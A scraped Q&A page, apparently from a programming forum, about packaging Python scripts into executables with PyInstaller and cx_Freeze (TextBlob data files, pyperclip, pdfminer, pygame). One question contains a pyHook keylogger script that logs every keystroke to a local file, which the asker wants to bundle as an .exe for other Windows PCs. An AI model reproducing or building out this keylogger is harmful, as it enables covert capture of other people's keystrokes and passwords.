How to add a hook for textblob in pyinstaller - hook

I am trying to create a .exe file using pyinstaller and execute it
it is not fetching any result from
b = TextBlob(ar)
score = b.sentiment.polarity
it returns proper value when executed on console
but return 0 when executed with .exe
def start_dmo():
print ("Importing all the required packages...")
from textblob import TextBlob
input ("press enter to continue")
print("All Necessary Packages imported")
input("press enter to continue")
ar="I cant be more happy with this"
print(ar)
b = TextBlob (ar)
score = b.sentiment.polarity
print (b.sentiment.polarity)
input("press enter to continue")
score = round (score, 2)
if score > 0.0:
senti = "Positive"
elif score < 0.0:
senti = "Negative"
else:
senti = "Neutral"
print("Score"+str(score)+"sentiment"+senti)
input("press enter to continue")
start_dmo()
this is the output when the above code is executed on console
this is the output when the above code is executed on .exe of the same code which is created using pyinstaller

Pyinstaller is not including en-sentiment.xml in the package, so the sentiment analyzer is missing a dependency and returns 0. Textblob doesn't produce an error in this case.
pyinstaller requires that you specify any data files in myscript.spec manually. However, as you've discovered, it appears that cx_Freeze honors the setup.py configuration, which specifies the data files to be included already:
package_data={
"textblob.en": ["*.txt", "*.xml"]
}
To resolve, modify the pyinstaller myscript.spec file to copy textblob/en/en-sentiment.xml, or switch to cx_Freeze as discussed.
See my post on Github as well.

Try importing textblob before of your start_dmo function so that pyinstaller is aware of it as a dependency.
from textblob import TextBlob
start_dmo():
....

Issue Solved!
Simple Solution
Changed pyinstaller to cx_Freeze
FYI cx_Freeze works perfectly fine with python 3.6
to know how to create .exe using cx_freeze follow the below link:
https://pythonprogramming.net/converting-python-scripts-exe-executables/
if u use numpy or pandas u might need to add option cz it might not import numpy to form ur exe so solve that issue follow below link:
Creating cx_Freeze exe with Numpy for Python
Good luck!

hey copy textblob from site packages to your working directory
and run below in .spec
a = Analysis(.....
datas=[( 'textblob/en/*.txt', 'textblob/en' ),
( 'textblob/en/*.xml', 'textblob/en' )],
....)
it will work

Related

pyperclip issues with PyCharm and batch files

I've been working through the book 'Automate the Boring Stuff With Python' and am doing the mclip chapter project, the code is fine, but I'm having issues with the execution.
the idea of the program is that it's a callable program from window's Run function, you should be able to type in run: mclip [keyphrase] which corresponds to a dictionary in the program that then copies to your computer's clipboard, a message that you can easily paste.
the issue arises that when I'm running the program through PyCharm, it runs fine, but I can't execute with a sys.args variable to fully run the program, and when I try and run it using windows run, and I include a sys.args variable keyphrase, the program returns an error saying I don't have the ability to import pyperclip when I have done that before already
I have edited the PATH variable of my machine to include everything python related in at least three different configurations, but I don't know why the windows run application cannot find pyperclip, as every time I go to install pyperclip with "pip install pyperclip" at all locations python could be, and all locations that are being referenced in PATH, I get a "you already have pyperclip installed" message
I don't know what to do, and there's not any questions that I've seen thus far that have been helpful.
#! python3
# mclip.py - A multi-clipboard program
import sys
import pyperclip
TEXT = {'agree': """Yes, I agree. That sounds fine to me.""",
'busy': """Sorry, can we do this later this week or next
week?""",
'upsell': """would you consider making this a monthly
donation?"""}
if len(sys.argv) < 2:
print('Usage: python mclip.py [keyphrase] - copy phrase text')
sys.exit()
keyphrase = sys.argv[1] # first command line arg is the keyphrase
if keyphrase in TEXT:
pyperclip.copy(TEXT[keyphrase])
print('Text for ' + keyphrase + ' copied to clipboard.')
else:
print('There is no text for ' + keyphrase)
Found out to import pyperclip or other libraries through PyCharm's terminal tab, this imports the library directly to the virtualenv that Pycharm is running as its interpreter

How determine Python script run from IDE or standalone

I've recently started learning python and am still a newbie.
How can I determine if my code run from IDE or run standalone?
My code is not imported so
__name__ == "__main__" .
Someone suggested checking sys.executable name but I'm looking for a solution independent of the file name.
P.S: I create a standalone file with pyinstaller.
Here's a link to the page pyinstaller has on their site giving information about how to check the Run-Time information of your file: https://pyinstaller.org/en/stable/runtime-information.html
Basically it says to add the following code
import sys
if getattr(sys, 'frozen', False) and hasattr(sys, '_MEIPASS'):
print('running in a PyInstaller bundle')
else:
print('running in a normal Python process')
This should print the 'running in a PyInstaller bundle' message if it's all self contained and properly bundled, and it should print 'running in a normal Python process' if it's still running from your source code.

Pdfminer, can not read LTText after pyinstaller

I make an app that can read PDF using pdfminer.
Application is OK when development.
After that, I package to .exe file using pyinstaller. But read result is not the same with it in development.
In detail, it can not read **LTText LTTextBoxHorizontal so I can not get extracted text.
Any one know about this issue, please help me.
Logs in development
Logs after I do pyinstaller
Python 3.9.1
Pyinstaller 4.2
pdfminer.six==20201018
six==1.15.0
Command: pyinstaller --onefile file.py
Related source:
for index, page in pdf_object:
# TODO: Only read last page - maybe change if PDF file change
if index == number_of_page - 1:
# read the page into a layout object
self.interpreter.process_page(page)
layout = self.device.get_result()
print("Size of this page (%d, %d)" % (layout.x1, layout.y1))
print("len = %d" % len(layout._objs))
self.parse_obj(layout._objs)
def parse_obj(self, lt_objs):
# loop over the object list
print("Go loop")
print(lt_objs)
i = 0
for obj in lt_objs:
i += 1
print("In loop %d" % i)
Pyinstaller lib owner just answered me. It fixed by adding --additional-hooks-dir.
Please see here for detail.
Maybe they will fix in pyinstaller to support pdfminer also in next release.

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

How do I make a setup.py file for pygame?

I have a made a setup.py file for my pygame executive, but it gives a HUGE list of errors when i try to run the executable after it is built. I am using python 3.3 32 bit and the corresponding pygame. My source is
import sys
from cx_Freeze import setup, Executable
setup(
name = "Pygame Module",
version = "0.1",
description = "A simple pygame program.",
executables = [Executable("pygame_module.py", base = "WIN32GUI")])
Help?
EDIT: this is the error i get: http://imgur.com/XlOpzEg
EDIT: this question is for cx-Freeze. I apologize for not mentioning that
EDIT: my source is
import pygame, sys
from pygame.locals import *
pygame.init()
DISPLAYSURF = pygame.display.set_mode((400, 300))
pygame.display.set_caption('Hello World!')
while True: # main game loop
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sys.exit()
pygame.display.update()
this works in the shell, but not when making a module. it says pygame is not a package.
I did it! in the folder C:\Python33\include i deleted the pygame folder that was being used instead of the real folder
EDIT! i reinstalled python 3.3.3 and it worked like i said and then stopped. re-installed 3.3.2 and it now works. i dont know why
I believe I know your problem, because I had the same problem myself, but I can't be sure without the Traceback. Try manually importing both the pygame._view and the re modules into each file of your program. Eg. put the lines import pygame._view and import re into each python file. If this doesn't solve the problem could you please post an error traceback, and I'll see what I can do.
Hope this helped.
EDIT: This was not the answer to the above question. I will edit again if the correct answer is found. See comments below.

Resources